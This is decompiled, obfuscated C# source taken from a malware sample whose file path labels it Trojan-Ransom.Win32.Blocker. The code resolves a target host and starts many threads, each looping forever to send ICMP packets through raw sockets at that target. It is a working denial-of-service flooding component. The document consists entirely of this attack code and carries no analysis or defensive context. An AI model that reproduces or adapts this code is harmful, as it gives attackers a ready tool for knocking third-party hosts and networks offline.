// Decompiled with JetBrains decompiler
// Type: A.cb7379333abfa1ab1cb35304f3a8573ec
// Assembly: Sharl, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F11368F2-49D5-4A01-9284-978C5FDD6F03
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Ransom.Win32.Blocker.hejd-d602e69d871803e54a9edd4b87d241c904ab59014cfd496853fc6cc688c16570.exe

using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace A
{
  internal class cb7379333abfa1ab1cb35304f3a8573ec
  {
    private static ThreadStart[] c1aa5e7f9240b5cc21ac78813ddfbaa39;
    private static Thread[] c12e108ff6c83dbee08305cc2b0ce9998;
    public static string c966ab90271ad8729ab4aa4181c310abf;
    public static int cf0383b25e10d922cf775f947a9893ddb;
    private static IPEndPoint cdd98f4a39e676344f91b06e9be54701b;
    public static ushort cf7dbbb0d9526e45865da4ee3fb9e1488;
    public static int cced20ebbb17c5b4c22dbd925be9f7bd0;
    private static cb7379333abfa1ab1cb35304f3a8573ec.c6b6e86a2c1585fa39b0d81cf604523e2[] cbf1882908126c4fd9d6742c1821f8e90;
    public static int c1e5fb6eadf8fa36fbb78b515080241e1;

    public static void cd351d92ca1a938962136bd5808af7e90()
    {
      try
      {
        cb7379333abfa1ab1cb35304f3a8573ec.cdd98f4a39e676344f91b06e9be54701b = new IPEndPoint(Dns.GetHostEntry(cb7379333abfa1ab1cb35304f3a8573ec.c966ab90271ad8729ab4aa4181c310abf).AddressList[0], (int) cb7379333abfa1ab1cb35304f3a8573ec.cf7dbbb0d9526e45865da4ee3fb9e1488);
      }
      catch
      {
        cb7379333abfa1ab1cb35304f3a8573ec.cdd98f4a39e676344f91b06e9be54701b = new IPEndPoint(IPAddress.Parse(cb7379333abfa1ab1cb35304f3a8573ec.c966ab90271ad8729ab4aa4181c310abf), (int) cb7379333abfa1ab1cb35304f3a8573ec.cf7dbbb0d9526e45865da4ee3fb9e1488);
      }
      cb7379333abfa1ab1cb35304f3a8573ec.c12e108ff6c83dbee08305cc2b0ce9998 = new Thread[cb7379333abfa1ab1cb35304f3a8573ec.c1e5fb6eadf8fa36fbb78b515080241e1];
      cb7379333abfa1ab1cb35304f3a8573ec.c1aa5e7f9240b5cc21ac78813ddfbaa39 = new ThreadStart[cb7379333abfa1ab1cb35304f3a8573ec.c1e5fb6eadf8fa36fbb78b515080241e1];
      cb7379333abfa1ab1cb35304f3a8573ec.cbf1882908126c4fd9d6742c1821f8e90 = new cb7379333abfa1ab1cb35304f3a8573ec.c6b6e86a2c1585fa39b0d81cf604523e2[cb7379333abfa1ab1cb35304f3a8573ec.c1e5fb6eadf8fa36fbb78b515080241e1];
      for (int index = 0; index < cb7379333abfa1ab1cb35304f3a8573ec.c1e5fb6eadf8fa36fbb78b515080241e1; ++index)
      {
        cb7379333abfa1ab1cb35304f3a8573ec.cbf1882908126c4fd9d6742c1821f8e90[index] = new cb7379333abfa1ab1cb35304f3a8573ec.c6b6e86a2c1585fa39b0d81cf604523e2(cb7379333abfa1ab1cb35304f3a8573ec.cdd98f4a39e676344f91b06e9be54701b, cb7379333abfa1ab1cb35304f3a8573ec.cf0383b25e10d922cf775f947a9893ddb, cb7379333abfa1ab1cb35304f3a8573ec.cced20ebbb17c5b4c22dbd925be9f7bd0);
        cb7379333abfa1ab1cb35304f3a8573ec.c1aa5e7f9240b5cc21ac78813ddfbaa39[index] = new ThreadStart(cb7379333abfa1ab1cb35304f3a8573ec.cbf1882908126c4fd9d6742c1821f8e90[index].c254d67f0f5a5ab80dbe5de1d1b27a54e);
        cb7379333abfa1ab1cb35304f3a8573ec.c12e108ff6c83dbee08305cc2b0ce9998[index] = new Thread(cb7379333abfa1ab1cb35304f3a8573ec.c1aa5e7f9240b5cc21ac78813ddfbaa39[index]);
        cb7379333abfa1ab1cb35304f3a8573ec.c12e108ff6c83dbee08305cc2b0ce9998[index].Start();
      }
    }

    public static void cc3c1bbd84093cbd7bdc83bcc5fb3ac15()
    {
      for (int index = 0; index < cb7379333abfa1ab1cb35304f3a8573ec.c1e5fb6eadf8fa36fbb78b515080241e1; ++index)
      {
        try
        {
          cb7379333abfa1ab1cb35304f3a8573ec.c12e108ff6c83dbee08305cc2b0ce9998[index].Suspend();
        }
        catch
        {
        }
      }
    }

    private class c6b6e86a2c1585fa39b0d81cf604523e2
    {
      private int cf0383b25e10d922cf775f947a9893ddb;
      private IPEndPoint cdd98f4a39e676344f91b06e9be54701b;
      private int cced20ebbb17c5b4c22dbd925be9f7bd0;
      private Socket[] cd5ac2690507af44059caeb0c8b2a71f7;

      public c6b6e86a2c1585fa39b0d81cf604523e2(
        IPEndPoint cdd98f4a39e676344f91b06e9be54701b,
        int cd02c4fcc6a568f6e41c3e84b34277e87,
        int cced20ebbb17c5b4c22dbd925be9f7bd0)
      {
        this.cdd98f4a39e676344f91b06e9be54701b = cdd98f4a39e676344f91b06e9be54701b;
        this.cf0383b25e10d922cf775f947a9893ddb = cd02c4fcc6a568f6e41c3e84b34277e87;
        this.cced20ebbb17c5b4c22dbd925be9f7bd0 = cced20ebbb17c5b4c22dbd925be9f7bd0;
      }

      public void c254d67f0f5a5ab80dbe5de1d1b27a54e()
      {
        while (true)
        {
          byte[] buffer = new byte[this.cced20ebbb17c5b4c22dbd925be9f7bd0];
          try
          {
            this.cd5ac2690507af44059caeb0c8b2a71f7 = new Socket[this.cf0383b25e10d922cf775f947a9893ddb];
            for (int index = 0; index < this.cf0383b25e10d922cf775f947a9893ddb; ++index)
            {
              this.cd5ac2690507af44059caeb0c8b2a71f7[index] = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Icmp);
              this.cd5ac2690507af44059caeb0c8b2a71f7[index].Blocking = false;
              this.cd5ac2690507af44059caeb0c8b2a71f7[index].SendTo(buffer, (EndPoint) this.cdd98f4a39e676344f91b06e9be54701b);
            }
            Thread.Sleep(100);
            for (int index = 0; index < this.cf0383b25e10d922cf775f947a9893ddb; ++index)
            {
              if (this.cd5ac2690507af44059caeb0c8b2a71f7[index].Connected)
                this.cd5ac2690507af44059caeb0c8b2a71f7[index].Disconnect(false);
              this.cd5ac2690507af44059caeb0c8b2a71f7[index].Close();
              this.cd5ac2690507af44059caeb0c8b2a71f7[index] = (Socket) null;
            }
            this.cd5ac2690507af44059caeb0c8b2a71f7 = (Socket[]) null;
          }
          catch
          {
            for (int index = 0; index < this.cf0383b25e10d922cf775f947a9893ddb; ++index)
            {
              try
              {
                if (this.cd5ac2690507af44059caeb0c8b2a71f7[index].Connected)
                  this.cd5ac2690507af44059caeb0c8b2a71f7[index].Disconnect(false);
                this.cd5ac2690507af44059caeb0c8b2a71f7[index].Close();
                this.cd5ac2690507af44059caeb0c8b2a71f7[index] = (Socket) null;
              }
              catch
              {
              }
            }
          }
        }
      }
    }
  }
}
